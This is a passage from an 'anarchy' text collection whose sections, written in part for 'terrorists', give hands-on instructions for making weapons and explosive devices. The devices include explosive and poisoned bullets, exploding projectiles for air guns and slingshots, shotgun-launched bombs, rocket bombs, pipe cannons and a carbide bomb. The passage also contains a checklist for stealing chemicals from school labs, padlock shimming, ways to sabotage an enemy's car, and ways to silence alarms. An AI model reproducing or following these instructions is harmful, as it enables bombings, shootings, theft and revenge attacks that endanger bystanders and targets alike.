insure that the impact-detonating explosive struck the target first. +Such a device would probably be about 3/4 of an inch long, not including the tassel or cotton, and look something like this: +____________________ +/mercury | \----------------------- +(fulminate| R.D.X. )---------------------- } tassels +\________|___________/----------------------- +Care must be taken- if a powerful dart went off in the blowgun, you could easily blow the back of your head off. +SPECIAL AMMUNITION FOR WRISTROCKETS AND SLINGSHOTS +A modern wristrocket is a formidable weapon. It can throw a shooter marble about 500 ft. with reasonable accuracy. Inside of 200 ft., it could +well be lethal to a man or animal, if it struck in a vital area. Because of the relatively large sized projectile that can be used in a wristrocket, the +wristrocket can be adapted to throw relatively powerful explosive projectiles. +A small segment of aluminum pipe could be made into an impact-detonating device by filling it with an impact-sensitive explosive material. +Also, such a pipe could be filled with a low-order explosive, and fitted with a fuse, which would be lit before the device was shot. One would +have to make sure that the fuse was of sufficient length to insure that the device did not explode before it reached its intended target. +Finally, .22 caliber caps, such as the kind that are used in .22 caliber blank guns, make excellent exploding ammunition for wristrockets, but +they must be used at a relatively close range, because of their light weight. +SPECIAL AMMUNITION FOR FIREARMS +When special ammunition is used in combination with the power and rapidity of modern firearms, it becomes very easy to take on a small army +with a single weapon. It is possible to buy explosive ammunition, but that can be difficult to do. Such ammunition can also be manufactured in +the home. There is, however, a risk involved with modifying any ammunition. If the ammunition is modified incorrectly, in such a way that it +makes the bullet even the slightest bit wider, an explosion in the barrel of the weapon will occur. For this reason, NOBODY SHOULD EVER +ATTEMPT TO MANUFACTURE SUCH AMMUNITION. +SPECIAL AMMUNITION FOR HANDGUNS +If an individual wished to produce explosive ammunition for his/her handgun, he/she could do it, provided that the person had an impactsensitive +explosive and a few simple tools. One would first purchase all lead bullets, and then make or acquire an impact-detonating explosive. +By drilling a hole in a lead bullet with a drill, a space could be created for the placement of an explosive. After filling the hole with an explosive, +it would be sealed in the bullet with a drop of hot wax from a candle. A diagram of a completed exploding bullet is shown below. +_o_ ------------ drop of wax +/|*|\ +| |*|-|----------- impact-sensitive explosive +| |_| | +|_____| +This hollow space design also works for putting poison in bullets. +In many spy thrillers, an assassin is depicted as manufacturing "exploding bullets" by placing a drop of mercury in the nose of a bullet. Through +experimentation it has been found that this will not work. Mercury reacts with lead to form a inert silvery compound. +SPECIAL AMMUNITION FOR SHOTGUNS +Because of their large bore and high power, it is possible to create some extremely powerful special ammunition for use in shotguns. If a +shotgun shell is opened at the top, and the shot removed, the shell can be re-closed. Then, if one can find a very smooth, lightweight wooden +dowel that is close to the bore width of the shotgun, a person can make several types of shotgun-launched weapons. +Insert the dowel in the barrel of the shotgun with the shell without the shot in the firing chamber. Mark the dowel about six inches away from +the end of the barrel, and remove it from the barrel. +Next, decide what type of explosive or incendiary device is to be used. This device can be a chemical fire bottle, a pipe bomb, or a thermite +bomb. After the device is made, it must be securely attached to the dowel. When this is done, place the dowel back in the shotgun. The bomb +or incendiary device should be on the end of the dowel. +Make sure that the device has a long enough fuse, light the fuse, and fire the shotgun. If the projectile is not too heavy, ranges of up to 300 ft +are possible. A diagram of a shotgun projectile is shown below: +____ +|| | +|| | +|| | ----- bomb, securely taped to dowel +|| | +||__| +|| | +|| | ------- fuse +|| | +|| +|| +|| +|| --------- dowel +|| +|| +|| +|| --------- insert this end into shotgun +|| +|| +Special "grenade-launcher blanks" should be used - use of regular blank ammunition may cause the device to land perilously close to the user. +SPECIAL AMMUNITION FOR COMPRESSED AIR/GAS WEAPONS +This section deals with the manufacture of special ammunition for compressed air or compressed gas weapons, such as pump BB guns, CO� +BB guns, and .22 cal pellet guns . These weapons, although usually thought of as kids toys, can be made into rather dangerous weapons. +SPECIAL AMMUNITION FOR BB GUNS +A BB gun, for this manuscript, will be considered any type of rifle or pistol that uses compressed air or CO gas to fire a projectile with a +caliber of .177, either BB, or lead pellet. Such guns can have almost as high a muzzle velocity as a bullet-firing rifle. Because of the speed at +which a .177 caliber projectile flies, an impact detonating projectile can easily be made that has a caliber of .177. +Most ammunition for guns of greater than .22 caliber use primers to ignite the powder in the bullet. These primers can be bought at gun stores, +since many people like to reload their own bullets. Such primers detonate when struck by the firing pin of a gun. They will also detonate if they +are thrown at a hard surface at a great speed. +Usually, they will also fit in the barrel of a .177 caliber gun. If they are inserted flat end first, they will detonate when the gun is fired at a hard +surface. If such a primer is attached to a piece of thin metal tubing, such as that used in an antenna, the tube can be filled with an explosive, +be sealed, and fired from a BB gun. A diagram of such a projectile appears below: +_____ primers _______ +| | +| | +| | +V V +______ ______ +| ________________________ |------------------- +| ****** explosive ******* |------------------- } tassel or +| ________________________ |------------------- cotton +|_____ _____|------------------- +^ +| +| +|_______ antenna tubing +The front primer is attached to the tubing with a drop of super glue. The tubing is then filled with an explosive, and the rear primer is glued on. +Finally, a tassel, or a small piece of cotton is glued to the rear primer, to insure that the projectile strikes on the front primer. The entire projectile +should be about 3/4 of an inch long. +SPECIAL AMMUNITION FOR .22 CALIBER PELLET GUNS +A .22 caliber pellet gun usually is equivalent to a .22 cal rifle, at close ranges. Because of this, relatively large explosive projectiles can be +adapted for use with .22 caliber air rifles. A design similar to that used in the begining of this document is suitable, since some capsules are +about .22 caliber or smaller. Or, a design similar to that in this document could be used, only one would have to purchase black powder +percussion caps, instead of ammunition primers, since there are percussion caps that are about .22 caliber. A #11 cap is too small, but +anything larger will do nicely. +210.Rocketry by Exodus +Rockets and cannon are generally thought of as heavy artillery. Perpetrators of violence do not usually employ such devices, because they +are difficult or impossible to acquire. They are not, however, impossible to make. Any individual who can make or buy black powder or pyrodex +can make such things. A terrorist with a cannon or large rocket is, indeed, something to fear. +ROCKETS +Rockets were first developed by the Chinese several hundred years before the myth of Christ began. They were used for entertainment in the +form of fireworks. They were not usually used for military purposes because they were inaccurate, expensive, and unpredictable. In modern +times, however, rockets are used constantly by the military, since they are cheap, reliable, and have no recoil. Perpetrators of violence, +fortunately, cannot obtain military rockets, but they can make or buy rocket engines. Model rocketry is a popular hobby of the space age, and to +launch a rocket, an engine is required. Estes, a subsidiary of Damon, is the leading manufacturer of model rockets and rocket engines. Their +most powerful engine, the "D" engine, can develop almost 12 lbs of thrust; enough to send a relatively large explosive charge a significant +distance. Other companies, such as Centuri, produce even larger rocket engines, which develop up to 30 lbs of thrust. These model rocket +engines are quite reliable, and are designed to be fired electrically. Most model rocket engines have three basic sections. The diagram below +will help explain them. +_________________________________________________________ +|_________________________________________________________| -- cardboard +\ clay | - - - - - - - - - - | * * * | . . . .|c| casing +\_______| - - - - - - - - - | * * * | . . . |l| +_______ - - - thrust - - - | smoke | eject |a| +/ clay | - - - - - - - - - | * * * | . . . .|y| +/________|_____________________|_______|________|_|_______ +|_________________________________________________________| -- cardboard +casing +The clay nozzle is where the igniter is inserted. When the area labeled "thrust" is ignited, the "thrust" material, usually a large single grain of a +propellant such as black powder or pyrodex, burns, forcing large volumes of hot, rapidly expanding gasses out the narrow nozzle, pushing +the rocket forward. +After the material has been consumed, the smoke section of the engine is ignited. It is usually a slow-burning material, similar to black powder +that has had various compounds added to it to produce visible smoke, usually black, white, or yellow in color. This section exists so that the +rocket will be seen when it reaches its maximum altitude, or apogee. +When it is burned up, it ignites the ejection charge, labeled "eject". The ejection charge is finely powdered black powder. It burns very rapidly, +exploding, in effect. The explosion of the ejection charge pushes out the parachute of the model rocket. It could also be used to ignite the fuse +of a bomb... +Rocket engines have their own peculiar labeling system. Typical engine labels are: 1/4A-2T, 1/2A-3T, A8-3, B6-4, C6-7, and D12-5. The letter is +an indicator of the power of an engine. "B" engines are twice as powerful as "A" engines, and "C" engines are twice as powerful as "B" +engines, and so on. The number following the letter is the approximate thrust of the engine, in pounds. the final number and letter is the time +delay, from the time that the thrust period of engine burn ends until the ejection charge fires; "3T" indicates a 3 second delay. +NOTE: An extremely effective rocket propellant can be made by mixing aluminum dust with ammonium perchlorate and a very small amount of +iron oxide. The mi xture is bound together by an epoxy. +BASIC ROCKET BOMB +A rocket bomb is simply what the name implies: a bomb that is delivered to its target by means of a rocket. Most people who would make such +a device would use a model rocket engine to power the device. By cutting fins from balsa wood and gluing them to a large rocket engine, such +as the Estes "C" engine, a basic rocket could be constructed. Then, by attaching a "crater maker", or CO cartridge bomb to the rocket, a bomb +would be added. To insure that the fuse of the "crater maker" ignited, the clay over the ejection charge of the engine should be scraped off +with a plastic tool. The fuse of the bomb should be touching the ejection charge, as shown below. +____________ rocket engine +| _________ crater maker +| | +| | +V | +_______________________________V_ +|_______________________________| ______________________ +\ | - - - - - -|***|::::| /# # # # # # # # # # # \ +\__| - - - - - -|***|::::| ___/ # # # # # # # # # # # \ +__ - - - - - -|***|::::|---fuse--- # # explosive # # ) +/ | - - - - - -|***|::::| ___ # # # # # # # # # # # / +/___|____________|___|____|____ \_______________________/ +|_______________________________| +thrust> - - - - - - +smoke> *** +ejection charge> :::: +Duct tape is the best way to attach the crater maker to the rocket engine. Note in the diagram the absence of the clay over the ejection charge +Many different types of explosive payloads can be attached to the rocket, such as a high explosive, an incendiary device, or a chemical fire +bottle. +Either four or three fins must be glued to the rocket engine to insure that the rocket flies straight. The fins should look like the following diagram: +|\ +| \ +| \ +| \ <--------- glue this to rocket engine +| \ +| \ +| \ +| | +| | +| | +leading edge | +------- > | +| | +| | trailing edge +| | <-------- +| | +| | +| | +| | +\_____/ +The leading edge and trailing edge should be sanded with sandpaper so that they are rounded. This will help make the rocket fly straight. A +two inch long section of a plastic straw can be attached to the rocket to launch it from. A clothes hanger can be cut and made into a launch +rod. The segment of a plastic straw should be glued to the rocket engine adjacent to one of the fins of the rocket. A front view of a completed +rocket bomb is shown below. +| +fin | <------ fin +| | | +| | | +| __|__ | +V / \ V +---------------| |--------------- +\_____/ +|o <----------- segment of plastic straw +| +| +| <------ fin +| +| +By cutting a coat hanger at the indicated arrows, and bending it, a launch rod can be made. After a fuse is inserted in the engine, the rocket is +simply slid down the launch rod, which is put through the segment of plastic straw. The rocket should slide easily along a coathanger, such as +the one illustrated on the following page: +____ +/ \ +| | +cut here _____ | +| | +| | +| / \ +V / \ +_________________/ \________________ +/ \ +/ \ +/____________________________________________\ +^ +| +| +and here ______| +Bend wire to this shape: +_______ insert into straw +| +| +| +V +____________________________________________ +\ +\ +\ +\ +\ <--------- bend here to adjust flight angle +| +| +| +| +| +| <---------- put this end in ground +| +LONG RANGE ROCKET BOMB +Long range rockets can be made by using multi-stage rockets. Model rocket engines with an "0" for a time delay are designed for use in multistage +rockets. An engine such as the D12-0 is an excellent example of such an engine. Immediately after the thrust period is over, the ejection +charge explodes. If another engine is placed directly against the back of an "0" engine, the explosion of the ejection charge will send hot +gasses and burning particles into the nozzle of the engine above it, and ignite the thrust section. This will push the used "0" engine off of the +rocket, causing an overall loss of weight. +The main advantage of a multi-stage rocket is that it loses weight as travels, and it gains velocity. Multi-stage rockets must be designed +somewhat differently than a single stage rocket, since, in order for a rockets to fly straight, their center of gravity must be ahead of their +center of drag. This is accomplished by adding weight to the front of the rocket, or by moving the center of drag back by putting fins on the +rocket that are well behind the rocket. A diagram of a multi-stage rocket appears on the following page: +___ +/ \ +| | +| C | +| M |------ CM: Crater Maker +| | +| | +|___| +| | +| | +| | +| C | ------ C6-5 rocket engine +/| 6 |\ +/ | | | \ +/ | 5 | \ +/ |___| \ ---- fin +/ /| |\ \ +/ / | | \ \ +/ / | | \ \ +/ / | C | \ \ +| / | 6 | \ | +| / | | | \ | +| / | 0 | \ | +|/ |___| \| +| / \ | +\______/ ^ \______/ ------- fin +| +| +| +| +C6-0 rocket engine +The fuse is put in the bottom engine. +Two, three, or even four stages can be added to a rocket bomb to give it a longer range. It is important, however, that for each additional +stage, the fin area gets larger. +211.Basic Pipe Cannon by Exodus +A simple cannon can be made from a thick pipe by almost anyone. The only difficult part is finding a pipe that is extremely smooth on its interior. +This is absolutely necessary; otherwise, the projectile may jam. Copper or aluminum piping is usually smooth enough, but it must also be +extremely thick to withstand the pressure developed by the expanding hot gasses in a cannon. +If one uses a projectile such as a CO cartridge, since such a projectile can be made to explode, a pipe that is about 1 - 2 feet long is ideal. +Such a pipe MUST have walls that are at least 1/3 to an inch thick, and be very smooth on the interior. If possible, screw an endplug into the +pipe. Otherwise, the pipe must be crimped and folded closed, without cracking or tearing the pipe. A small hole is drilled in the back of the pipe +near the crimp or endplug. Then, all that need be done is fill the pipe with about two teaspoons of grade blackpowder or pyrodex, insert a fuse, +pack it lightly by ramming a wad of tissue paper down the barrel, and drop in a CO cartridge. Brace the cannon securely against a strong +structure, light the fuse, and run. If the person is lucky, he will not have overcharged the cannon, and he will not be hit by pieces of exploding +barrel. Such a cannon would look like this: +__________________ fuse hole +| +| +V +________________________________________________________________ +| |_____________________________________________________________| +|endplug|powder|t.p.| CO cartridge +| ______|______|____|____________________________________________ +|_|______________________________________________________________| +An exploding projectile can be made for this type of cannon with a CO cartridge. It is relatively simple to do. Just make a crater maker, and +construct it such that the fuse projects about an inch from the end of the cartridge. Then, wrap the fuse with duct tape, covering it entirely, +except for a small amount at the end. Put this in the pipe cannon without using a tissue paper packing wad. +When the cannon is fired, it will ignite the end of the fuse, and shoot the CO cartridge. The explosive-filled cartridge will explode in about three +seconds, if all goes well. Such a projectile would look like this: +___ +( ) +|C | +| M| +| | +| | +\ / +[] <--- taped fuse +[] +[] +! <--- Bare fuse (add matcheads) +ROCKET FIRING CANNON +A rocket firing cannon can be made exactly like a normal cannon; the only difference is the ammunition. A rocket fired from a cannon will fly +further than a rocket alone, since the action of shooting it overcomes the initial inertia. A rocket that is launched when it is moving will go +further than one that is launched when it is stationary. Such a rocket would resemble a normal rocket bomb, except it would have no fins. It +would look like the image below. The fuse on such a device would, obviously, be short, but it would not be ignited until the rocket's ejection +charge exploded. Thus, the delay before the ejection charge, in effect, becomes the delay before the bomb explodes. Note that no fuse need +be put in the rocket; the burning powder in the cannon will ignite it, and simultaneously push the rocket out of the cannon at a high velocity. +___ +/ \ +| | +| C | +| M | +| | +| | +|___| +| E | +| N | +| G | +| I | +| N | +| E | +|___| +REINFORCED PIPE CANNON +In high school, a friend and I built cannons and launched CO cartridges, etc, etc. However, the design of the cannon is what I want to add +here. It was made from plain steel water pipe, steel wire, and lead. +Here is a cross section: +_______ +| | +| xxxxx_____________________________________________ 2" ID pipe +| |_________________________________________________ +| | .................... <- steel wire } +| | _____ } 3/4" ID pipe +this | | | xxx______________________________________}_________________ +wire | | | |__________________________________________________________ +holds | |....| | +it up |>|....| | +in the| | | |__________________________________________________________ +cooker| | | xxx________________________________________________________ +| | |____ } +| | ..................... } <- cast lead +| |_______________________________________________}_ +| | _____________________________________________ +| xxxxx +|_____| +We dug into the side of a sand pile and built a chimney out of firebrick. Then we stood the assembled pipe and wire on end in the chimney, +sitting on some bricks. We then had a blowtorch heating up the chimney, so that the pipe was red hot. Then we poured molten lead into the +space between the pipes. If the caps aren't screwed on real tight, some of the lead will leak out. If that happens, turn off the blowtorch and the +pipe will cool enough and the lead will stiffen and stop the leak. +We used homemade and commercial black powder, and slow smokeless shotgun powder in this thing. After hundreds of shots we cut it up +and there was no evidence of cracks or swelling of the inner pipe. +212.Smoke Bombs by Exodus +One type of pyrotechnic device that might be employed by a terrorist in many way would be a smoke bomb. Such a device could conceal the +getaway route, or cause a diversion, or simply provide cover. Such a device, were it to produce enough smoke that smelled bad enough, could +force the evacuation of a building, for example. Smoke bombs are not difficult to make. Although the military smoke bombs employ powdered +white phosphorus or titanium compounds, such materials are usually unavailable to even the most well-equipped terrorist. Instead, he/she +would have to make the smoke bomb for themselves. +Most homemade smoke bombs usually employ some type of base powder, such as black powder or pyrodex, to support combustion. The base +material will burn well, and provide heat to cause the other materials in the device to burn, but not completely or cleanly. Table sugar, mixed +with sulfur and a base material, produces large amounts of smoke. Sawdust, especially if it has a small amount of oil in it, and a base powder +works well also. Other excellent smoke ingredients are small pieces of rubber, finely ground plastics, and many chemical mixtures. The +material in road flares can be mixed with sugar and sulfur and a base powder produces much smoke. Most of the fuel-oxidizer mixtures, if the +ratio is not correct, produce much smoke when added to a base powder. The list of possibilities goes on and on. The trick to a successful +smoke bomb also lies in the container used. A plastic cylinder works well, and contributes to the smoke produced. The hole in the smoke bomb +where the fuse enters must be large enough to allow the material to burn without causing an explosion. This is another plus for plastic +containers, since they will melt and burn when the smoke material ignites, producing an opening large enough to prevent an explosion. +---SIMPLE SMOKE--- +The following reaction should produce a fair amount of smoke. Since this reaction is not all that dangerous you can use larger amounts if +necessary + 6 pt. ZINC POWDER + 1 pt. SULFUR POWDER +Insert a red hot wire into the pile, step back. +---COLORED FLAMES--- +Colored flames can often be used as a signaling device for terrorists. By putting a ball of colored flame material in a rocket; the rocket, when +the ejection charge fires, will send out a burning colored ball. The materials that produce the different colors of flames appear below. +COLOR MATERIAL USED IN +Red Strontium Salts Road Flares +[Strontium Nitrate] Red Sparklers +Green Barium Salts Green Sparklers +[Barium Nitrate] +Yellow Sodium Salts Gold Sparklers +[Sodium Nitrate] +Blue Powdered Copper Blue Sparklers +Old Pennies +White Powdered Magnesium -or- Firestarters +Aluminum Aluminum Foil +Purple Potassium Permanganate Purple Fountains +Treating Sewage +213.Firecrackers by Exodus +A simple firecracker can be made from cardboard tubing and epoxy. The instructions are below: +1.Cut a small piece of cardboard tubing from the tube you are using. "Small" means anything less than 4 times the diameter of the tube. +2.Set the section of tubing down on a piece of wax paper, and fill it with epoxy and the drying agent to a height of 3/4 the diameter of the +tubing. Allow the epoxy to dry to maximum hardness, as specified on the package. +3.When it is dry, put a small hole in the middle of the tube, and insert a desired length of fuse. +4.Fill the tube with any type of flame-sensitive explosive. Flash powder, pyrodex, black powder, potassium picrate, lead azide, nitrocellulose, +or any of the fast burning fuel-oxidizer mixtures will do nicely. Fill the tube almost to the top. +5.Pack the explosive tightly in the tube with a wad of tissue paper and a pencil or other suitable ramrod. Be sure to leave enough space for +more epoxy. +6.Fill the remainder of the tube with the epoxy and hardener, and allow it to dry. +7.For those who wish to make spectacular firecrackers, always use flash powder, mixed with a small amount of other material for colors. By +crushing the material on a sparkler, and adding it to the flash powder, the explosion will be the same color as the sparkler. By adding small +chunks of sparkler material, the device will throw out colored burning sparks, of the same color as the sparkler. By adding powdered iron, +orange sparks will be produced. White sparks can be produced from magnesium shavings, or from small, LIGHTLY crumpled balls of +aluminum foil. +Example: Suppose I wish to make a firecracker that will explode with a red flash, and throw out white sparks. +First, I would take a road flare, and finely powder the material inside it. Or, I could take a red sparkler, and finely powder it. +Then, I would mix a small amount of this material with the flash powder. NOTE: FLASH POWDER MAY REACT WITH SOME MATERIALS THAT IT +IS MIXED WITH, AND EXPLODE SPONTANEOUSLY! I would mix it in a ratio of 9 parts flash powder to 1 part of flare or sparkler material, +and add about 15 small balls of aluminum foil I would store the material in a plastic bag overnight outside of the house, to make sure that +the stuff doesn't react. Then, in the morning, I would test a small amount of it, and if it was satisfactory, I would put it in the firecracker. +8.If this type of firecracker is mounted on a rocket engine, professional to semi-professional displays can be produced. +---SKYROCKETS--- +An impressive home made skyrocket can easily be made in the home from model rocket engines. Estes engines are recommended. +1.Buy an Estes Model Rocket Engine of the desired size, remembering that the power doubles with each letter. +2.Either buy a section of body tube for model rockets that exactly fits the engine, or make a tube from several thicknesses of paper and glue. +3.Scrape out the clay backing on the back of the engine, so that the powder is exposed. Glue the tube to the engine, so that the tube covers at +least half the engine. Pour a small charge of flash powder in the tube, about an inch. +4.By adding materials as detailed in the section on firecrackers, various types of effects can be produced. +5.By putting Jumping Jacks or bottle rockets without the stick in the tube, spectacular displays with moving fireballs or MRV's can be produced. +6.Finally, by mounting many home made firecrackers on the tube with the fuses in the tube, multiple colored bursts can be made. +---ROMAN CANDLES--- +Roman candles are impressive to watch. They are relatively difficult to make, compared to the other types of home-made fireworks, but they +are well worth the trouble. +1.Buy a inch thick model rocket body tube, and reinforce it with several layers of paper and/or masking tape. This must be done to prevent +the tube from exploding. Cut the tube into about 10 inch lengths. +2.Put the tube on a sheet of wax paper, and seal one end with epoxy and the drying agent. About of an inch is sufficient. +3.Put a hole in the tube just above the bottom layer of epoxy, and insert a desired length of water proof fuse. Make sure that the fuse fits +tightly. +4.Pour about 1 inch of pyrodex or gunpowder down the open end of the tube. +5.Make a ball by powdering about two 6 inch sparklers of the desired color. Mix this powder with a small amount of flash powder and a small +amount of pyrodex, to have a final ratio (by volume) of 60% sparkler material / 20% flash powder / 20% pyrodex. After mixing the +powders well, add water, one drop at a time, and mixing continuously, until a damp paste is formed. +This paste should be moldable by hand, and should retain its shape when left alone. Make a ball out of the paste that just fits into the tube. +Allow the ball to dry. +6.When it is dry, drop the ball down the tube. It should slide down fairly easily. Put a small wad of tissue paper in the tube, and pack it gently +against the ball with a pencil. +7.When ready to use, put the candle in a hole in the ground, pointed in a safe direction, light the fuse, and run. If the device works, a colored +fireball should shoot out of the tube to a height of about 30 feet. This height can be increased by adding a slightly larger powder charge in +step 4, or by using a slightly longer tube. +8.If the ball does not ignite, add slightly more pyrodex in step 5. +9.The balls made for roman candles also function very well in rockets, producing an effect of falling colored fireballs. +214. Suppliers II by Exodus +Most, if not all, of the information in this publication can be obtained through a public or university library. There are also many publications that +are put out by people who want to make money by telling other people how to make explosives at home. Adds for such appear frequently in +paramilitary magazines and newspapers. This list is presented to show the large number of places that information and materials can be +purchased from. It also includes fireworks companies and the like. +COMPANY NAME AND ADDRESS WHAT COMPANY SELLS +FULL AUTO CO. INC. EXPLOSIVE RECIPES +PO BOX 1881 PAPER TUBING +MURFREESBORO, TN 37133 +UNLIMITED CHEMICALS AND FUSE +PO BOX 1378-SN +HERMISTON, OR 97838 +AMERICAN FIREWORKS NEWS FIREWORKS NEWS MAGAZINE WITH +SR BOX 30 SOURCES AND TECHNIQUES +DINGMAN'S FERRY, PA 18328 +BARNETT INTERNATIONAL INC. BOWS, CROSSBOWS, ARCHERY MATERIALS, +125 RUNNELS STREET AIR RIFLES +PO BOX 226 +PORT HURON, MI 48060 +CROSSMAN AIR GUNS AIR GUNS +PO BOX 22927 +ROCHESTER, NY 14692 +R. ALLEN PROFESSIONAL FIREWORKS CONSTRUCTION +PO BOX 146 BOOKS & FORMULAS +WILLOW GROVE, PA 19090 +MJ DISTRIBUTING FIREWORKS FORMULAS +PO BOX 10585 +YAKIMA, WA 98909 +EXECUTIVE PROTECTION PRODUCTS INC TEAR GAS GRENADES, +316 CALIFORNIA AVE PROTECTION DEVICES +RENO, NV 89509 +BADGER FIREWORKS CO. INC CLASS "B" AND "C" FIREWORKS +PO BOX 1451 +JANESVILLE, WI 53547 +NEW ENGLAND FIREWORKS CO INC CLASS "C" FIREWORKS +PO BOX 3504 +STAMFORD, CT 06095 +RAINBOW TRAIL CLASS "C" FIREWORKS +PO BOX 581 +EDGEMONT, PA 19028 +STONINGTON FIREWORKS INC CLASS "C" AND "B" FIREWORKS +4010 NEW WILSEY BAY U.25 ROAD +RAPID RIVER, MI 49878 +WINDY CITY FIREWORKS INC CLASS "C" AND "B" FIREWORKS +PO BOX 11 (GOOD PRICES!) +ROCHESTER, IN 46975 +BOOKS +THE ANARCHIST COOKBOOK (highly circulated) +THE IMPROVISED MUNITIONS MANUAL (formulas work, but put maker at risk) +MILITARY EXPLOSIVES +Two manuals of interest: Duponts "Blaster's Handbook", $20 manual mainly useful for rock and seismographic operations. Atlas's "Powder +Manual" or "Manual of Rock Blasting" (I forget the title, it's in the office). This is a $60 book, well worth the cash, dealing with the above two +topics, plus demolitions, and non-quarry blasting. +215.Checklist for Raids on Labs by Exodus +In the end, the serious terrorist would probably realize that if he/she wishes to make a truly useful explosive, he or she will have to steal the +chemicals to make the explosive from a lab. A list of such chemicals in order of priority would probably resemble the following: +LIQUIDS SOLIDS +____ Nitric Acid ____ Potassium Perchlorate +____ Sulfuric Acid ____ Potassium Chlorate +____ 95% Ethanol ____ Picric Acid (usually a powder) +____ Toluene ____ Ammonium Nitrate +____ Perchloric Acid ____ Powdered Magnesium +____ Hydrochloric Acid ____ Powdered Aluminum +____ Potassium Permanganate +GASES ____ Sulfur (flowers of) +____ Hydrogen ____ Mercury +____ Oxygen ____ Potassium Nitrate +____ Chlorine ____ Potassium Hydroxide +____ Carbon Dioxide ____ Phosphorus +____ Sodium Azide +____ Lead Acetate +____ Barium Nitrate +Print this sheet out and carry it with you! Memorize it, anything. It is INVALUABLE. All of these chemicals should be carried in your school lab. +Happy hunting. :) +216.Misc Anarchy by Exodus +Tennis ball cannons and other information from the Usenet. The Usenet is a worldwide network of 15,000 machines and over 500,000 people- +And growing! +At this time (twelve years ago) most soft drink cans were rolled tin rather than the molded aluminum. We would cut the tops and bottoms off of +a bunch of them and tape them together with duct tape, forming a tube of two feet or more. +At the end we would tape a can with the bottom intact, more holes punched (with a can opener) around the top, and a small hole in the side at +the base. We then fastened this contraption to a tripod so we could aim it reliably. Any object that came somewhat close to filling the tube was +then placed therein. +In the shop, we used the clock as a target and an empty plastic solder spool as ammunition, with tape over the ends of the center hole and +sometimes filled with washers for weight. When taken to parties or picnics, we would use whatever was handy. Hot dog rolls or napkins filled +with potato chips provided spectacular entertainment. +Once loaded, a small amount of lighter fluid was poured into the hole in the side of the end can and allowed to vaporize for a few moments. +The "fire control technician" would announce "Fire in the Hole" and ignite it. +BOOM! Whoosh! The clock never worked after that! +Our version of the potato chip cannon, originally designed around the Pringles potato chip can, was built similarly. Ours used coke cans, six +with the top and bottom removed, and the seventh had Bottle opener holes all around one end, the top of this can was covered with a grid or +piece of wire screening to keep the tennis ball from falling all the way to the bottom. This was spiral wrapped with at least two rolls of duct +tape. +A wooden shoulder rest and forward hand grip was taped to the tube. For ignition we used lantern batteries to a model-t coil, actuated by a +push button on the hand grip. A fresh wilson tennis ball was stuffed all the way back to the grid, and a drop or two of lighter fluid was +dropped in one of two holes in the end. The ignition wire was poked through the other hole. +We would then lie in ambush, waiting for something to move. When fired with the proper air/fuel mixture, a satisfying thoomp! At maximum +range the ball would travel about 100 yards with a 45 launch angle. Closer up the ball would leave a welt on an warring opponent. When +launched at a moving car the thud as it hit the door would generally rattle anyone inside. Luckily we never completed the one that shot golf +balls. +More Fun Stuff for Terrorists +Carbide Bomb +This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some calcium carbide. This is the stuff that is used in carbide lamps and +can be found at nearly any hardware store. +Take a few pieces of this stuff (it looks like gravel) and put it in a glass jar with some water. Put a lid on tightly. The carbide will react with the +water to produce acetylene carbonate which is similar to the gas used in cutting torches. +Eventually the glass with explode from internal pressure. If you leave a burning rag nearby, you will get a nice fireball! +Auto Exhaust Flame Thrower +For this one, all you need is a car, a sparkplug, ignition wire and a switch. Install the spark plug into the last four or five inches of the tailpipe by +drilling a hole that the plug can screw into easily. Attach the wire (this is regular insulated wire) to one side of the switch and to the spark plug. +The other side of the switch is attached to the positive terminal on the battery. With the car running, simply hit the switch and watch the flames +fly!!! Again be careful that no one is behind you! I have seen some of these flames go 20 feet!! +Balloons +Balloons are fun to play with in chem lab, fill them with the gas that you get out of the taps on the lab desks, then tie up the balloon tight, and +drop it out the window to the burnouts below, you know, the ones that are always smoking, they love to pop balloons with lit cigarette.... get +the picture? Good. +217.Combo Locks II by Exodus +First of all, let me tell you about the set-up of a lock. When the lock is locked, there is a curved piece of metal wedged inside the little notch on +the horseshoe shaped bar (known as the shackle) that is pushed in to the lock when you lock it. +To free this wedge, you usually have to turn the lock to the desired combination and the pressure on the wedge is released therefore letting +the lock open. I will now tell you how to make a pick so you can open a lock without having to waste all that time turning the combination (this +also helps when you don't know the combination to begin with). +To bypass this hassle, simply take a thinned hairpin (file it down) or a opened out piece of a collapsing antenna (the inside diameter of the +curved piece of metal should be the same as the diameter of the shackle- if the metal is too thick, use fine sandpaper to thin it down. +Once you have your hair pin (make sure it's metal), take the ridged side and break it off right before it starts to make a U-turn onto the straight +side. The curved part can now be used as a handle. Now, using a file, file down the other end until it is fairly thin. You should do this to many +hairpins and file them so they are of different thicknesses so you can jimmy various locks. +Look at a lock to see which side the lock opens from. If you can't tell, you will just have to try both sides. When ya find out what side it opens +from, take the lock pick and stick the filed end into the inside of the horseshoe-shaped bar on whichever side the lock opens from. +Now, put pressure on the handle of the lock pick (pushing down, into the crack) and pull the lock up and down. The lock will then open +because the pick separated the wedge and the notch allowing it to open. +Also, this technique works best on American locks. I have never picked a Master lock before because of the shape a pressure of the wedge +but if anyone does it, let me know how long it took. Also, the Master lock casing is very tight so ya can't get the shim in. +218.Misc Anarchy II by Ragner Rocker +Many of you out there probably have fantasies of revenge against teachers, principals and other people who are just assholes. Depending on +your level of hatred of this person I would advise that you do some of these following experiments: +1.Pouring dishsoap into the gas tank of your enemy - many of you already know that gasoline + dishsoap (e.g. joy, palmolive, etc.) form a +mixture called napalm. Now napalm is a jelly-like substance used in bombs, flame -throwers, etc. Now you can only guess what this +mixture would do to someone's fuel line!!!! +2.Spreading dirty motor oil/castor oil on someone's exhaust pipe - when the exhaust pipe heats up (and it will!!) the motor oil or castor oil on the +pipe will cause thick, disgusting smoke to ooze forth from the back of that car. Who knows maybe he/she might be pulled over and given a +ticket!! +3.Light Bulb Bomb +4.Simple smoke/stink bomb - you can purchase sulfur at a drugstore under the name flowers of sulfur. Now when sulfur burns it will give off a +very strong odor and plenty of smoke. Now all you need is a fuse from a firecracker, a tin can, and the sulfur. Fill the can with sulfur +(pack very lightly), put aluminum foil over the top of the can, poke a small hole into the foil, insert the wick, and light it and get out of the +room if you value your lungs. You can find many uses for this or at least I hope so. +FUN WITH ALARMS +A fact I forgot to mention in my previous alarm articles is that one can also use polyurethane foam in a can to silence horns and bells. You can +purchase this at any hardware store as insulation. It is easy to handle and dries faster. +Many people that travel carry a pocket alarm with them. This alarm is a small device that is hung around the door knob, and when someone +touches the knob his body capacitance sets off the alarm. These nasty nuisances can be found by walking down the halls of a hotel and +touching all the door knobs very quickly. if you happen to 